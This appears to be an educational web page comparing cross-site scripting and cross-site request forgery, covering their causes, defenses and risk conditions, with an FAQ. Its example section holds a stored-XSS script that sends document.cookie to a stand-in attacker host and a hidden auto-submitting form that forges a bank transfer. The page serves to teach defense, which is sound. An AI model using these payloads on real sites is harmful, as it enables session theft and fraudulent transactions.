Side by side
XSSvsCSRF
What is the difference between XSS and CSRF?
Updated 2 min read6 differences
In short
XSS injects malicious scripts that run inside a trusted website, while CSRF tricks a logged-in user's browser into sending unwanted requests to that site.
XSS
Cross-Site Scripting
XSS is a vulnerability that lets an attacker inject malicious JavaScript into a trusted website so that it runs in other users' browsers.
Read the page on XSSCSRF
Cross-Site Request Forgery
CSRF is an attack that tricks a logged-in user's browser into sending an unwanted request to a trusted site, which treats it as a genuine user action.
Read the page on CSRFXSS and CSRF compared
| Aspect | XSS | CSRF |
|---|---|---|
| Trust abused | The user's trust in the website | The website's trust in the user's browser |
| Where attack code runs | On the target site, in the victim's browser | On the attacker's own site |
| Can read data | Yes: page content, tokens, anything the script can reach | No: requests are sent blind and responses stay hidden |
| Root cause | Untrusted input rendered without escaping | Requests authenticated only by automatically sent cookies |
| Main defenses | Output escaping, HTML sanitizing, Content Security Policy | CSRF tokens, SameSite cookies, Origin header checks |
| Typical impact | Session theft, account takeover, defaced pages | Unwanted transfers, email or password changes |
The difference, explained
Cross-site scripting (XSS) happens when an application includes untrusted input in a page without escaping it, so an attacker's JavaScript runs in other users' browsers with the site's full privileges. Cross-site request forgery (CSRF) happens when a malicious page makes the victim's browser send a request to a site where they are logged in, and the browser attaches their cookies automatically.
The difference is what the attacker controls. With XSS, the attacker's code runs on your origin, so it can read the page, steal data and act as the user in any way. With CSRF, the attacker cannot read anything; they can only fire a request blindly and hope it changes something, such as an email address or a money transfer.
The defenses differ too. XSS is prevented by escaping output, sanitizing any HTML you allow, avoiding unsafe APIs like innerHTML, and adding a Content Security Policy. CSRF is prevented with anti-CSRF tokens, SameSite cookies and checking the Origin header on requests that change data. XSS also defeats CSRF protection, because a script running on your own site can read the token.
A common misconception is that modern frameworks and browsers make both attacks obsolete. Frameworks escape output by default and some browsers now treat cookies as SameSite=Lax unless told otherwise, but raw HTML rendering, misconfigured cookies and GET requests that change data still leave real apps vulnerable.
Where each one is a risk
XSS is a risk when…
- Your pages display user-generated content such as comments or profiles.
- Code inserts HTML with innerHTML or renders raw markup.
- URL parameters or search terms are echoed back into the page.
CSRF is a risk when…
- Your app relies on cookies to authenticate requests.
- Forms or endpoints change data without a CSRF token or Origin check.
- GET requests perform actions like deleting records or moving money.
What each attack looks like
<!-- XSS: a comment saved without escaping... -->
<div class="comment">
Nice post!
<script>
fetch("https://evil.example/steal?c=" + document.cookie);
</script>
</div>
<!-- ...runs as trusted code for every visitor --><!-- CSRF: a hidden form on the attacker's own site -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
// The browser attaches the victim's bank cookies
document.forms[0].submit();
</script>Readers ask
Does CSRF protection stop XSS?
No. CSRF tokens do nothing against XSS, and an XSS flaw can even read CSRF tokens and bypass that protection. Each attack needs its own defenses.
Do SameSite cookies prevent CSRF?
SameSite=Lax or Strict blocks most CSRF attacks by not sending cookies on cross-site requests. It works best combined with CSRF tokens or Origin checks, which also cover older browsers and attacks from sibling subdomains.
Which is more dangerous, XSS or CSRF?
XSS is usually more severe, because the attacker's script can read data and do anything the user can. CSRF is limited to blind requests, but it can still cause serious damage like changing account details.